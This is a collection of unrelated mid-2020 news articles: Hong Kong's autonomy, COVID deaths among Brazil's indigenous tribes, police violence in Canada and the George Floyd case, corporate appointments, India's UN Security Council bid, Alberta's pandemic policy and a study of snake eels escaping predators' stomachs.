Since 1997, Hong Kong has been operating under what is known as the "one country, two systems" constitutional principle  that it would be recognized as part of China yet under a British-based legal system and the socioeconomic advantages that came with it  but recent moves by China have led many to believe that principle no longer holds. The agreement was set to expire in 50 years, in 2047.

The Federalist reported that the day before the 20th anniversary of Hong Kong's handover to China, the Chinese Foreign Ministry declared that as a historical document the Sino-British Joint Declaration  a 1984 treaty signed between the United Kingdom and China on Hong Kong under Chinese sovereignty that stipulated the sovereign and administrative arrangement of Hong Kong after 1 July 1997  "no longer has any realistic meaning."

In so doing, the Chinese Communist Party abandoned any notion that it would honor the promises to Britain and Hong Kong when the city was handed over, the Federalist added.

For most of last year, millions of Hong Kong residents garnered international attention as they protested in the streets against an extradition law that would have forced the government and its chief executive, Carrie Lam, to permit Chinese authorities to identify, surveil, and even arrest Chinese "dissidents" living in Hong Kong.

The anti-government demonstrations were initially triggered by a now-withdrawn extradition bill. The proposed bill was precipitated by the murder of a pregnant teenager by her boyfriend during a vacation in Taiwan. Because the Hong Kong government does not have an extradition treaty with Taiwan, legislation was proposed that would have allowed the extradition of suspects from the city to other countries, including mainland China.

Protests later included calls for greater democratic freedoms and police accountability in Hong Kong.
By Anthony Boadle and Stephen Eisenhammer

BRASILIA/SAO PAULO (Reuters) - Coronavirus is spreading fast through Brazil's indigenous populations, with deaths caused by the disease increasing more than five-fold in the past month, according to data collected by a national association of first peoples.

Many epidemiologists had hoped remote locations might protect the tribes, but the virus, which first took hold in Brazil's cosmopolitan state capitals of Sao Paulo and Rio de Janeiro, is increasingly devastating these far-flung communities where basic healthcare is often precarious.

For many indigenous it harks back to a dark past.

When Europeans first navigated the rivers of the Amazon rainforest, their smallpox decimated local tribes. Later, rubber tappers, gold miners and settlers brought malaria, measles and influenza. Now, it is COVID-19.

Deaths among Brazil's indigenous populations rose to 182 by June 1, from 28 at the end of April, according to the Articulation of Brazil's Indigenous Peoples (APIB) - a national umbrella association that brings together the country's 305 tribes.

In the village of Sororo in southeastern Para, tribesman Itamare Surui said one elder had died and people were falling ill but the government had not provided tests to confirm whether they have COVID-19.

"I am feeling dizzy with fever and stomach pains. Many are ill in the village and we have no help," he said, as his village mourned the death of its oldest member, storyteller Warini Surui, who died on Thursday of pneumonia.

The official figures provided by Brazil's government put the number of dead at 59, as they only classify indigenous deaths as those occurring among tribes living on reservations but not those who have migrated to cities.

Brazil's Health Ministry, which collates the data and provides medical assistance to indigenous tribes, did not immediately respond to a request for comment.

The numbers may be small compared to the rest of Brazil, which now has the second largest outbreak in the world, but they are significant because they show the virus has taken hold in vulnerable communities where doctors fear the spread will prove devastating.

Story continues

Erik Jennings, a doctor working with indigenous populations, said the death toll provided a snapshot of what was happening weeks ago, due to an underreporting of cases and the time it often takes for a patient to pass away. "Today's reality is much worse," he said, adding that a severe lack of testing made it hard to know exactly how bad the situation was.

On Tuesday, the Pan American Health Organization said it was very concerned about the rate of contagion among indigenous populations in the Amazon.

Douglas Rodrigues, another doctor, who has worked with indigenous tribes for 30 years, said he feared for the tribes in the rainforest state of Amazonas, where the only public hospitals equipped with ventilators are located in Manaus, the capital, and already are at full capacity. "In Amazonas, the disease is a death sentence," he said.

Brazil's first indigenous reservation, the Xingu Park where 16 tribes live and Rodrigues is based, blocked access to outsiders and has so far had no cases of COVID-19. "But the danger is great because contamination is close by," he said.

The only intensive care units in the vast state of Amazonas are also located in Manaus, where a wing for indigenous COVID-19 patients was opened last week.

But even there access for indigenous people is complicated. On Wednesday, indigenous women protested outside the hospital because tribal shamans were not being allowed in and they could not bring herbal medicines to a relative with COVID-19.

The Munduruku, who have fought to block the building of dams on the Tapajos river, a pristine tributary of the Amazon, lost seven elders aged between 60 and 86 years since May 10 to coronavirus, according to their association, a great loss of custodians of the tribe's culture and oral traditions.

In southern Para, the state neighboring Amazonas, the virus has taken hold in towns around the world's largest iron ore mine.

The Xikrin tribe in the area is suffering. Bep Karoti, a 64-year-old Xikrin chief, died of COVID-19 on Sunday in the village of Catete, which is an eight-hour drive to the nearest city with intensive care facilities.

Two army trucks with soldiers arrived on Tuesday bringing test kits, face masks and medical personnel after the chief's death, according to residents' posts on social media.

The village of 900 indigenous people has 54 confirmed cases of COVID-19 so far, and five deaths, the latest a child who died Wednesday morning.

"It is so sad. The child died with a bad infection in the lungs," Catete community leader Tekore Velho said in a message.

(Reporting by Anthony Boadle and Stephen Eisenhammer; Editing by Leslie Adler and Diane Craft)
RIDLEY TOWNSHIP  Boeing leadership has concluded its investigation started last month into the object found on the premises that appeared to be a noose.

A message to employees sent by Steve Parker, Boeing Vertical Lift Vice President and General Manager, confirmed that the item was intentionally shaped by someone into a noose, adding that the investigation ruled out it being just an extension cord.

He added the investigation was unable to determine who fashioned the cord in such manner.

We did find, however, that the object had been present for some time in the isolated area where it was found, and seen but not reported, Parker wrote. We have taken appropriate corrective action to address the failure to act.

Boeing officials declined to explain what that action was or who it was taken against.
Photo: The Canadian Press Indigenous Services Minister Marc Miller

Indigenous Services Minister Marc Miller says Canada needs a reckoning over a repeated and disgusting pattern of police violence against Indigenous people.

Miller says he "watched in disgust" video and reports this week of violence against a 22-year-old Inuk man in Nunavut and a 26-year-old First Nations mother in New Brunswick.

In the first, a graphic video shows an RCMP officer in Nunavut ramming the door of his car into the man walking along the road in Kinngait Monday evening. In the second, police went to check on the well-being of 26-year-old Chantel Moore in Edmundston, N.B., Thursday evening, and ended up shooting and killing her.

"A car door is not a proper police tactic, it's a disgraceful, dehumanizing and violent act," Miller said, at a news conference on Parliament Hill Friday morning. "I don't understand how someone dies during a wellness check. When I first saw the report I thought it was some morbid joke."

Miller was there to provide an update on the status of COVID-19 cases in Indigenous communities, but spent most of the nearly hour-long event answering questions about police violence and racism in Canada.

"Frankly along with many Canadians, Indigenous Peoples living in Canada, politicians in Canada, I'm pissed, I'm outraged. There needs to be a full accounting of what has gone on. This is a pattern that keeps repeating itself."

Prime Minister Justin Trudeau echoed him in a separate appearance Friday, saying he would be discussing the issue with the federal cabinet and the commissioner of the RCMP.

"We need a larger reflection on changing the systems that do not do right by too many Indigenous people and racialized Canadians," Trudeau said. Each of the incidents needs to be investigated fully, he said, but there are clearly larger issues that need to be tackled.

He refused to say specifically what the federal government might do.

"We have, continue to have, systemic racism in this country, systemic discrimination, that means racialized Canadians are vulnerable in these situations."

This isn't new, he said, but recent events have illuminated it, including for people who had not really seen it before.

The man who was struck by the officer's car in Nunavut was arrested and later beaten by another man also in the holding cell he was placed in, requiring him to be airlifted to Iqaluit for treatment. The 22-year-old, whose identity has not been made public, told CBC News in Nunavut that he wants the police officers involved in his arrest to be charged.

The Ottawa Police Service, which does independent investigations of police in Nunavut, has sent a team there but the officer who arrested the man has not been charged or suspended. He was flown out of the community and is on administrative leave.

Miller said as Canadians look south to the police violence against black Americans they need to be seeing and thinking more about what is happening in our own country.

"It is something we need to reckon as a society," he said.
Maurice Lester Hall was a friend of George Floyd's for more than 20 years and was a passenger in the car seen in the surveillance video just moments before Floyd died while in police custody.

He's a gentle giant that's just Big Floyd, Hall said, describing Floyd.

Hall is now speaking out about what he witnessed in those chilling moments leading up to Floyds death, saying that Floyd did not resist arrest.

They first came up on the car using blunt force and initially they startled Floyd  He asked him what they wanted him to do," Hall said. "They screaming, let me see your hands. Then he puts his hands over the front steering wheel."

He said Floyd tried to diffuse the situation.

"I can hear him and see him try to stay neutral," Hall said.

MORE: George Floyd's memorial filled with love, hope and calls for change

But the situation quickly escalated and police grabbed Floyd according to Hall, handcuffs, thrown in the back of a police car, dragged back out, jumped on the back of the neck.

Video of the incident and Floyd's death sparked international outrage.

PHOTO: LaTonya Floyd, center, in hat, participates in a march to protest the death of her brother, George Floyd in Houston on Tuesday, June 2, 2020. (David J. Phillip/AP Photo)

Police officer Derek Chauvin, 44, placed his knee on Floyd's neck for nearly nine minutes as Floyd said, "I can't breathe," before he was killed, according to the criminal complaint.

Chauvin has been charged with second-degree murder, third-degree murder and manslaughter.

The three other officers seen in the video, Kiernan Lane, Alexander Kueng and Tou Thao, have been charged with second-degree aiding and abetting felony murder and second-degree aiding and abetting manslaughter.

MORE: 3 former officers charged in George Floyd's death make 1st court appearance

Hall says the police officers eventually dragged Floyd into an ambulance. That night, Hall said he checked county jail records to try and locate his friend. It was not until the next day that he found out that Floyd had died.

He said that he found out with the rest of the world from seeing it on social media. It was on Facebook actually, he said.

Story continues

Those final moments of Floyd are now seared in many American's memory after the difficult to watch video aired all over the world.

Him begging for his life, actually being scared, feeling the reaper. That's what's going to stick with me, Hall said.

And as hundreds of thousands of people protest across the globe in Floyds name, Hall denounced the violent unrest but is thankful for the support,

Big Floyd would appreciate the positive energy.

MORE: Timeline: The impact of George Floyd's death in Minneapolis and beyond

The first of a handful of services planned to honor Floyd's life and mourn his death was held Thursday at North Central University in Minneapolis.

Two other memorial services will be held for Floyd on Saturday, June 6 in Raeford, North Carolina, the state where Floyd was born, and Houston, Texas, where Floyd had previously lived, on Monday, June 8.

A private funeral service will be held at the same location on Tuesday, June 9 at 11 a.m. local time, which former Vice President Joe Biden is expected to attend.

ABC News' Ella Torres and William Mansell contributed to this report.

George Floyds friend, witness to his death speaks out: He did not resist arrest originally appeared on abcnews.go.com
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(Kitco News) - Russian diamond giant, ALROSA, said Friday that Q1 revenue was RUB 63 bn (US$920 million), a 3% quarter-on-quarter decline amid a 14% decline in the average realised price of its product.

On a year-on-year basis revenue decreased by 11% as a result of lower sales volumes caused by COVID-19 and price index reduction.

During the COVID-19 clampdowns ALROSA cut production and costs. It slashed its production target from 34.2 m to 2831 m carats and reduced its CAPEX from RUB 22 bn to RUB 20 bn.

Alexey Philippovskiy, ALROSAs CFO, said the company now sees signs of industry normalization.

"Today, we see diamond jewelry sales bouncing back in China and other Asian markets, which is expected to drive diamond demand up as soon as in JulyAugust," said Philippovskiy.
Dr. Hafiz Bin Salih, the Upper West Regional Minister, has warned fertilizer suppliers of the Planting for Food and Jobs fertilizer to stop smuggling the fertilizer or risk losing license and contracts with the Ministry of Food and Agriculture.



He said though the PFJ programme had come to ameliorate the plight of farmers in accessing the inputs to enhance their production, some recalcitrant suppliers and individuals still smuggled the fertilizers out of the country for their gains.



Dr. Bin Salih, who gave the warning in Wa when he met the PFJ fertilizer suppliers noted that the act of smuggling the fertilizers was not only to deprive farmers of the inputs but also, criminal.



He explained that the government introduced the PFJ programme in 2017, to help smallholder farmers tremendously and that they would not allow any individual or group of people to mar the success of the programme.



He said the increment in military and police patrols at the various borders in the region had not deterred those unscrupulous people from engaging in the act of smuggling the fertilizer.



Dr. Bin Salih urged the suppliers to report any person engaged in the act of smuggling the fertilizers and damaging their image to the appropriate authorities for the necessary action to be taken against them.



The Regional Minister said the REGSEC had met and adopted some stringent measures to be taken to halt the smuggling of the inputs, hence, the need to discuss those measures with the suppliers before they were implemented.



"We are bent on taking certain measures but I don't want to implement anything without dialoguing with you", he said.



He said though the majority of the suppliers were doing genuine business and supporting the government in the implementation of the programme to help develop the agric sector, particularly in the Upper West Region, some few suppliers were trying to mar the programme.



He noted that currently, 154 trucks load of the fertilizers were at the Sissala West District while 161 trucks load were also at the Sissala East Municipality.



"We are going to take an inventory of the quantity that you have brought if you have sold them, you tell us whom you have sold the fertilizer to. Because we have indicated to you that whoever you are selling fertilizer to, you must take details and particulars of the person so that we can trace and verify", Dr. Bin Salih said.

Source: GNA









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LVMH announces the appointment of Frederic Arnault to the role of CEO of TAG Heuer from 1 July onwards. His position as head of the company will see him play a role in supporting innovation and accelerating the development of TAG Heuer, as he has done with the successful launch of the latest Connected watch after piloting the entire design phase.

A pioneer of the watchmaking industry since 1860, the Maison will continue to maximise the value of its iconic ranges Carrera, Monaco and Aquaracer , all the while cementing its avant-garde status in the industry with its third generation of smartwatches.

Frederic Arnault  LVMH

Stephane Bianchi will assume the role of CEO of the Watch es and Jewelry Division from 1 July onwards. This will see him take the reins of jewelry Maisons Chaumet and FRED, in addition to TAG Heuer, Hublot and Zenith .

Jean-Marc Mansvelt, Managing Director of Chaumet, and Charles Leung, Managing Director of FRED will report to Stephane Bianchi in his new role. Jean-Christophe Babin, CEO of Bulgari, will continue to report to Toni Belloni, LVMH Group Managing Director .

It fills me with pride to see Frederic succeed me at the helm of TAG Heuer after the key role he has played in its strategic repositioning, explains Stephane Bianchi. "He has carved out a place for digital at the heart of the companys aspirations, restored real momentum to the collections, all the while skilfully managing the development and launch of the hugely successful third Connected watch generation. Frederic is passionate about watchmaking, and I am convinced that he and his management team are best placed to lead this wonder ful Maison to the heights of achievement it deserves.

Stephane Bianchi  LVMH

Since his arrival at LVMH, Stephane has given the Watchmaking Division a new lease of life, strengthening the fundamental principles of each of the brands and exploring promising new avenues, says Bernard Arnault, Chairman and Chief Executive officer. "I am certain that he will continue this great work and that he will apply all of his talents and his determination to the development of the Maisons Chaumet and FRED. Frederics appointment comes as an affirmation of his achievements at TAG Heuer, where he succeeded in combining innovation, heritage and savoir-faire within this historic brand. These two appointments demonstrate our full confidence in the growth potential of these brands. I wish them both every success going forward.

A former student of Frances Ecole Polytechnique (X2014), Frederic Arnault started his professional career at Facebook before moving on to consulting firm McKinsey. At the start of 2017 he joined TAG Heuer to manage its smartwatch activities. Since being appointed Chief Strategy and Digital Officer in October 2018, he has led an ambitious transformation and digitalisation campaign within the Maison in close collaboration with Stephane Bianchi, CEO of the Watchmaking Division and TAG Heuer.

A graduate of the Institut dEtudes Politiques de Paris, Stephane Bianchi started out as a consultant at Arthur Andersen. He then spent a large portion of his career within the Yves Rocher Group, namely as CEO from 1998 to 2015. He contributed to the growth and diversification of the Group, directly managing the brands Yves Rocher and Petit Bateau. He also sits on the Board of Directors of the Maus Freres Group (Lacoste, Manor, Gant, etc.). In 2018, he joined the LVMH Group as CEO of TAG Heuer and the Watch making Division.
India, which is set to be elected to a two-year term on the UN Security Council this month after a gap of almost a decade, said on Friday it will work at the world body for an effective response to global terrorism and reforming the multilateral system.

External affairs ministry S Jaishankar outlined Indias priorities for its campaign to secure the non-permanent seat in the Security Council during the election scheduled for June 17.

While working for inclusive solutions, he said, Indias key priorities at the Security Council will be an effective response to international terrorism, reformed multilateralism to reflect contemporary realities, a comprehensive approach to peace and security, a commitment to international law and streamlining of UN peacekeeping, and promoting technology with a human touch.

Jaishankar said Indias approach will also be guided by the five Ss set out by Prime Minister Narendra Modi  samman (respect), samvad (dialogue), sahyog (cooperation) and shanti (peace) in order to create conditions for universal samriddhi (prosperity).

He referred to the international context that the Security Council will face, including new and continuing traditional challenges to international peace and security.

Global institutions remain unreformed and under-representative. They are, therefore, less able to deliver. The Covid-19 pandemic and its grave economic repercussions will test the world like never before, he said. In this extraordinary situation, India can play a positive global role.

Jaishankar emphasised Indias long-standing role as a voice of moderation, an advocate of dialogue, and a votary of international law. He set out the countrys principled approach to international relations, which the foreign policy establishment will bring to Security Council once India is elected for a two-year term.

India will work constructively with partners to overcome old and new fault-lines and offer innovative and inclusive solutions, help developing countries obtain the necessary support to recover from the Covid-19 pandemic [and] help focus more on development support [and] greater involvement of women and youth in shaping a new paradigm, he said.

Secretary (west) Vikas Swarup of the external affairs ministry said Indias candidature is set to succeed as it is the single endorsed candidate of the Asia-Pacific group. This would be Indias eighth term on the UN Security Council, and the two-year tenure will start in January 2021.

In the past, India has been elected as a non-permanent member of the Security Council during 1984-85, 1991-92 and 2011-12.

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The Court of Appeal in Abuja, Friday, affirmed that the Kaduna State Government violated the rights of the Chief Executive Officer of Chocolate City, Audu Maikori, when it took him from Lagos to Kaduna in 2017.

In its judgment, a three-person panel of the Court of Appeal unanimously upheld the ruling of the Federal High Court holding the actions of the Kaduna State Government as unlawful and unconstitutional.

The court assessed damages at N10.5 million in favour of Mr Maikori.

The appeal court reduced the damages awarded by the high court from N40 million to N10.5 million.

Friends and associates of Mr Maikori broke the news on Twitter on Friday. Mr Maikori also retweeted the court judgement on his official Twitter handle.

Background

Mr Maikori filed a N10 billion lawsuit against Governor Nasir El-Rufai of Kaduna State and the state government, accusing the state of violating his human rights in 2017.

He filed a fundamental human rights enforcement suit on May 5, 2017, after he was arrested for allegedly inciting the public in Kaduna State.

The suit was filed at the Federal High Court, Abuja, by Mr Maikoris lawyers, Ballasons Chambers.

Justice John Tsoho presided over the case.

Mr Maikori asked the court to enforce his fundamental rights against undue harassment and intimidation by the Kaduna government, Mr El-Rufai and the Nigeria Police.

Mr. Maikori, 43, was first arrested in Lagos on February 12, 2017, after a petition was filed by the Kaduna State Government over a post on his social media pages that turned out to be false.

The story had to do with the purported killing of five College of Education students in Southern Kaduna.

The label boss later apologised for posting the false story, adding that his driver relayed it to him, and said his (driver) brother was among the victims.

He was subsequently transferred to Force Headquarters in Abuja for interrogation He was eventually released on bail and cleared of any complicity by the Police Force headquarters.

He was then rearrested and taken to Kaduna where he was detained for four days before he was charged to court.

Mr El-Rufai had before his second arrest, vowed, at the fifth edition of Social Media Week in Lagos, to prosecute Mr Maikori for incitement.

The music label owner was later granted bail by the court on health grounds.

In May 2017, Mr Maikori in his suit marked FHC/ABJ/CS/385/17, asked the court to award N21 billion to him as damages.
GUANGZHOU, China, June 5, 2020 /PRNewswire/ -- The 127th and first virtual China Import and Export Fair (Canton Fair) launched its first online promotion event for France. The "Cloud" event was joined by more than 50 local representatives of business association, buyers and entrepreneurs from Paris, Lyon, Marseille, and Bordeaux.

More than 3,000 buyers from France attend the Canton Fair each session. The promotional event has presented the Fair's first virtual invitation to French companies and business owners. The event was designed to raise awareness of the digital technology adopted to create Canton Fair's first Online Exhibition, such as the registration process, live broadcasts and negotiation appointments.

Canton Fair to Highlight Sino-French Relationship in a New Era

The pandemic has had a considerable impact on international trade and investment. Further promoting the Sino-French business connection, the Canton Fair contributes to the joint response to COVID-19 and world trade and economic stability.

Gao Yuanyuan, Minister Counselor of the Economic and Commercial Office of the Chinese Embassy in France, noted in her event remarks, that during the 56 years of Sino-French diplomatic relations, Canton Fair has been supporting China-EU economic and trade cooperation. In a new and open post-pandemic era, the connection will bring more opportunities for both countries to pursue joint development in economic and commercial fields.

Alain EYGRETEAU, Vice-President of Paris Ile-de-France Chamber of Commerce and Industry, pointed out that the cloud promotion event marked the friendly relations between France and China, as well as between ICC Paris Region and Canton Fair.

Canton Fair Promotes Online International Trade

The digital Canton Fair is bringing significant value during this challenging time. This fair will not only allow global businesses to benefit from Chinese manufacturers but also create an open platform for international companies to enter the Chinese market. "Global buying and selling will help create a win-win scenario for international trade," said Xu Bing, Vice Secretary General and Spokesperson of the Canton Fair and Deputy Director General of China Foreign Trade Centre.

David MORAND, a buyer who has attended the Canton Fair for 15 years, is expecting the online event, as Canton Fair has offered a lot of convenience in sourcing China-made products. "Many suppliers I met at the Canton Fair have become long-term business partners, and I look forward to finding more quality exhibitors at this Canton Fair."

Moving forward, the Canton Fair will host more than 20 promotion cloud events around the world. Working with global partners, associations and buyer networks, Canton Fair will help buyers to adapt to a new model of online trade.

For more information, please visit: http://www.cantonfair.org.cn/en/index.aspx

Facebook: https://www.facebook.com/CantonFairOnline/

Twitter: https://twitter.com/cantonfair

LinkedIn: http://www.linkedin.com/company/cantonfair/

YouTube: https://www.youtube.com/user/Cantonfaironline

Instagram: https://www.instagram.com/cantonfaironline/

Photo - https://mma.prnewswire.com/media/1177135/Caton_Fair.jpg
Jason Kenney, Albertas hard-right United Conservative Party (UCP) premier, has taken a leaf from the playbook of the fascistic presidents of the United States and Brazil, Donald Trump and Jair Bolsonaro, and dismissed the coronavirus pandemic as an influenza. Kenneys callous remark, delivered during a parliamentary debate last week, is part of his governments reckless back-to-work policy and underscores the broad support within Canadas ruling elite for a criminal herd immunity strategy in the face of the COVID-19 pandemic.

Speaking in the Alberta legislature on May 27, Kenney declared, We cannot continue indefinitely to impair the social and economicas well as the mental health and physiological health of the broader populationfor potentially a year for an influenza that does not generally threaten life apart from the elderly and the immunocompromised. All but asserting that those who succumb to COVID-19 were on the verge of death anyway, Kenney added, The average age of death from the influenza in the province is 83, and the average life expectancy in the province is 82.

Kenneys remarks show the criminal indifference to human life that pervades his UCP government. Alberta has witnessed repeated workplace COVID-19 outbreaks, including one of the largest in all North America at the Cargill meat packing plant in High River. A third death resulting from that outbreak, which has sickened well over 1,500 people, was recently reported. Benito Quesada, 51, a union shop steward who had worked at the Cargill plant since 2007, contracted COVID-19 in mid-April and spent weeks on a ventilator in a medically induced coma.

The first two deaths linked to the outbreak were Hiep Bui, a 67-year-old Vietnamese immigrant who worked at the plant since 1996, and Armando Sallegue, the 71-year-old father of another worker at the plant. Sallegues son, who fell sick after contracting the virus at the Cargill plant, tragically passed him the virus, while he was on a visit from the Philippines.

In total, Alberta has recorded over 7,000 COVID-19 infections and 145 deaths.

Kenneys contempt for the lives of these workers is far from unique within ruling circles. Governments across the country, from Francois Legaults right-wing populist Coalition Avenir Quebec regime in Quebec to Doug Fords hard-right Progressive Conservative government in Ontario, have enforced the return to work of hundreds of thousands of workers to workplaces where little to nothing has been to protect them from the contagion, and as COVID-19 infections and deaths continue to rise sharply.

This back-to-work policy has been greenlighted and overseen by the federal Liberal government. Prime Minister Justin Trudeau and his union and NDP-supported Liberal government have focused their response to the pandemic on guaranteeing the wealth and investments of the rich and super-rich. They have funnelled more than $650 billion into the financial markets and big business, while placing the millions of workers who have lost their jobs and incomes on what amounts to temporary rations under the Canada Emergency Response Benefit. It pays just $2,000 a month, or less than the rent for an average two-bedroom apartment in Toronto and other cities.

Provincial governments have exploited the resulting economic distress among workers to force them back to their jobs even though the infection risk remains high.

Kenneys comments are of a piece with Legaults, who declared during the initial stages of Quebecs reopening campaign that his government wants people to get sick. It may sound frightening, said the Quebec premier, but once Quebecers understand the concept of herd immunity they will see it is the best way out of the current pandemic.What we are saying is people who are less at risk, people who are under 60, can get a natural immunization.

Neither Kenney nor Legault care to admit that wherever herd immunity policies have been pursued, they have proven catastrophic. Anders Tegnell, the epidemiologist who designed Swedens murderous policy of refusing to implement lockdown measures so businesses could keep on generating profits, was forced to admit last weekend that the authorities should have done things differently. Sweden has one of the highest coronavirus death rates in the world, with over 4,500 deaths in a country with a population of just 10 million.

In Brazil, Bolsonaros dismissal of the virus as a little flu and his constant attacks on officials who refused to rescind lockdown measures have played a major role in that country having the second-highest total of infections worldwide. Over 32,000 Brazilians have lost their lives, with more than 1,000 now dying daily.

Kenneys effort to dress up his back-to-work policy with alleged concern for the mental health and physiological wellbeing of Albertas population is no less hypocritical. It comes from the head of a government whose first full budget, tabled last fall, included sweeping cuts of up to 10 percent in real terms to health care, social services and education. The spending plan will result in over 6,000 layoffs, including hundreds of health care workers, teachers, and social services staff. In its contract negotiations with the provinces 180,000 public sector employees, the UCP government is demanding wage cuts of up to 5 percent.

While Kenney claims to be concerned about Albertans health and well-being his government is targeting the most vulnerable, no doubt causing acute distress. To give but one example, the UCP government has eliminated annual cost-of-living increase for recipients of the Assured Income for the Severely Handicapped. AISH recipients who receive the maximum $1,685 each month will in real terms receive approximately $30 less per month this year. By 2023, the reduction will be $120 a month per month, providing annual savings of more than $200 million for the provincial government.

Kenneys fall 2019 budget was based on a report prepared by a task force headed by former Saskatchewan New Democratic Party Finance Minister Janice MacKinnon, which advocated savage austerity and authoritarian methods to suppress popular opposition. These included the use of the anti-democratic notwithstanding clause, the outlawing of strikes, and the imposition of concessionary contracts by government decree.

Significantly, just days after Kenneys UCP government tabled its class war budget and Trudeau won re-election by posturing as an opponent of Conservative cuts, the Liberal prime minister publicly embraced Albertas premier as the legitimate representative of Western interests.

Now in response to the economic crisis triggered by the pandemic and a further steep decline in oil prices, Kenney has appointed a second blue-ribbon committee, this one an advisory council on Albertas economic recovery. It is to lay the political groundwork for further sweeping attacks on working people, from the gutting of labour standards and environmental regulations to the privatization of health care

The 12-member council includes former Conservative Prime Minister Stephen Harper, WestJet co-founder and former chairman of the board Dick Beddoes, Canadian Western Bank CEO Chris Fowler, ATCO CEO Nancy Southern, six other corporate bosses, and as a token representative of labour, Bob Blakely, the ex-head of Canadas Building Trades Union.

The council is being chaired by Jack Mintz, a University of Calgary economist and Financial Post columnist who has long claimed that Canadas shrunken public services are financially unsustainable and its tax rates for business and the rich are a disincentive to investment. He recently published a rant against public sector workers in which he claimed that in the name of equity they must be compelled to make sacrifices.

As for Harper, who Kenney long served as a cabinet minister, he recently published a column in the Wall Street Journal in which he decried a supposed new age of big government, and insisted that governments must quickly transition to making massive spending cuts. If they fail to practice mild austerity proactively, declared Harper, a brutal kind will be thrust upon them.
The brutal murder of George Floyd, recorded on video, has shocked people in Germany, and many have taken to the streets in protest. Thousands demonstrated against racism and police violence in the cities of Bremen, Berlin, Leipzig and Munich. Expressions of solidarity with the protests in the United States have dominated German social media.

In Bremen over 2,500 people demonstrated on Tuesday under the slogan Justice for George Floyd10 times as many as had been expected by the organisers, Together we are Bremen. Due to the high number of participants, police at short notice changed both the route of the march and the location of the final rally.

Around 700 people attended a rally in Leipzig on Monday. The group Fight for your Future called the protest to demonstrate against police violence and state repression.

German protesters outside the U.S. embassy in Berlin (Twitter/@YourAnonCentral)

In the Bavarian capital of Munich, 400 people gathered Saturday evening for a spontaneous demonstration, which marched towards the US consulate in the city. Several protests also took place in Berlin at the weekend, involving far more people than organisers had expected.

On Sunday, 1,500 mainly young people attended a protest march through the Kreuzberg district of Berlin. Organisers had expected that just 100 would gather. Protesters demonstrated under the slogan, Justice for George Floyd. Shortly before the protest in Kreuzberg, another Memorial March against Racist Police Violence in the US advanced towards Berlins central Brandenburg Gate.

A demonstration was also held on Saturday in front of the US embassy in Berlin. More than 2,000 people from various ethnic backgrounds expressed their anger at brutal police tactics and violence. Under the slogan Justice for George Floyd!, anti-racist initiatives such as Against General Suspicion and Initiative Black People in Germany (ISD) had issued the call for the protest against racist police violence.

Demonstrators discussed not just the events in Minneapolis, but also the situation in Germany. Neo-Nazi structures in the police must be uncovered, said one speaker at the Berlin rally. One participant said, The denazification process said to have taken place after World War II never really happened. We still have Nazis in different spheres of politics and society.

Another participant made direct reference to police violence in Germany: It is by no means an isolated case. It happens almost every day in Germany, she said, recalling the case of Oury Jalloh, who burnt to death in a police cell. There are structures that ensure that this always happens.

Olivia, 22, a student from the state of North Rhine-Westphalia, wrote to the WSWS to express her opposition to the escalating violence of state forces in the United States and her concerns for her relatives: I dont want my cousins to be murdered in New York City when they go outor my little brother. We fight for justice and the whole world fights with us. You can see on social media that we are all sticking together.

In the course of the protests, a huge graffiti with a picture of George Floyd and the words I cant breathe was daubed on Berlins Mauerpark. The associated hashtag #ICantBreathe reflects the situation of millions of workers in the US, whose lives are being squeezed out of them by the reactionary policies of the financial and corporate elite.

A total of 19 similar graffities commemorating Floyd were also sprayed in Bremen. The police reacted aggressively and immediately launched a search for witnesses, and German security services immediately took over the investigation. Many protests have also taken place on social media. Under the hashtag #blackouttuesday, numerous profile pictures have been replaced by completely black pictures. On Instagram alone, over 28 million posts were posted under this hashtag.

In Germany, 11 of the top 15 hashtags on Twitter are related to the police murder of George Floyd, such as #JusticeForGeorgeFloyd, #GeorgeFloyd, #BlackLivesMatter or #protests2020.

The developments in the US are linked by many internet users to the social and political tensions that also determine the lives of people in Germany and Europe.

The historian Patrick Bormann wrote on Twitter: While we look at the US in horror, we should never forget that the same lines of conflict are not new in Germany and harbour a similar potential for conflict. That worries me.

Joshua, who attends a high school near Nuremberg and is active in the International Youth and Students for Social Equality (IYSSE), linked the reaction of the ruling class to the mass protests in the United States to the Nazis conquest of power in 1933: Just as in the 1930s before the rise of Nazi Germany, the state apparatus together with fascist thugs are striking out at workers demonstrations. The bourgeois state cooperates with fascists, there is even a fascist in power, and their aim is to oppress workers.

Clemens, a 17-year-old high school student from Bavaria, who is also a member of the IYSSE, sees parallels between developments in the US and the conditions which led to the Russian Revolution in 1917: The cause of this mass movement is clearly the enormous levels of social inequality in the US. The murder of George Floyd was the last straw, the spontaneous trigger.

It reminded him of the history of the February Revolution 1917, when female workers gathered on March 8 for Womens Day and then these protests spread to the entire working class. The tsar fell a few hours later. Trump is mobilising the army and the National Guard because he and his friends in the oligarchy are terrified of a socialist revolution.
Snake eels did not sit well in the stomachs of their predators.

Scientists have found the first evidence of the creature attempting to escape a horrific death of being eaten live by bursting out of its captor's stomach cavity.

The eels are common food for a range of fish, but when swallowed whole the eel pierces its hard pointed tail tip through the stomach wall to make its getaway.

However, the daring attempt is not enough to save them, as the eels are unable to burrow through the fish's rib cage - they become trapped and slowly mummify inside the fish's body.

Scientists from the Queensland Museum uncovered this behavior while collecting fish from coastal waters off northern Australia - they found preserved eels trapped in the body of numerous predatory fish.

Scientists have found the first evidence of the creature attempting to escape a horrific death of being eaten live by bursting out of its captor's stomach cavity. However, the eel is unable to pierce through the rib cage. It is then trapped and dies - it body slowly mummifies in the fish

'During the dissections of a commercially harvested large marine sciaenid, the Black Jewfish Protonibea diacanthus, collected from coastal waters off northern Australia, ophichthids were found encased in the mesenteries in the body cavity, reads the study published online at Memoirs of the Queensland Museum.

'Genetic analysis confirmed four species of ophichthids were collected from the body cavity of 19 P. diacanthus specimens.'

'Further investigation has revealed the occurrence of at least three additional ophichthid species from the body cavities of ten Australian teleost species classified in eight different families.'

Jeff Johnson, an ichthyologist at the Queensland Museum who co-authored the paper, told The Guardian: 'Most animals burrow head-first, but snake eels use their hard tail tip to dig straight into the soft sea substrate.

The eels are common food for a range of fish, but when swallowed whole the eel pierces its hard pointed tail tip through the stomach wall to make its getaway

'When they are swallowed and take exception to that they just use that same mechanism to burst straight out through the stomach wall.'

Although the eel is unable to escape its doom, the fish is usually unaware that its stomach was penetrated.

Johnson told The Guardian that he and his team have observed these fish with pieces missing from their backs, so a small hole in their stomach usually won't hurt the creature.

He also noted that many fisherman have reported finding the eels in their catch.

Seven species of snake eels were found in the body cavities of 11 different species of fish that were collected in Australia.

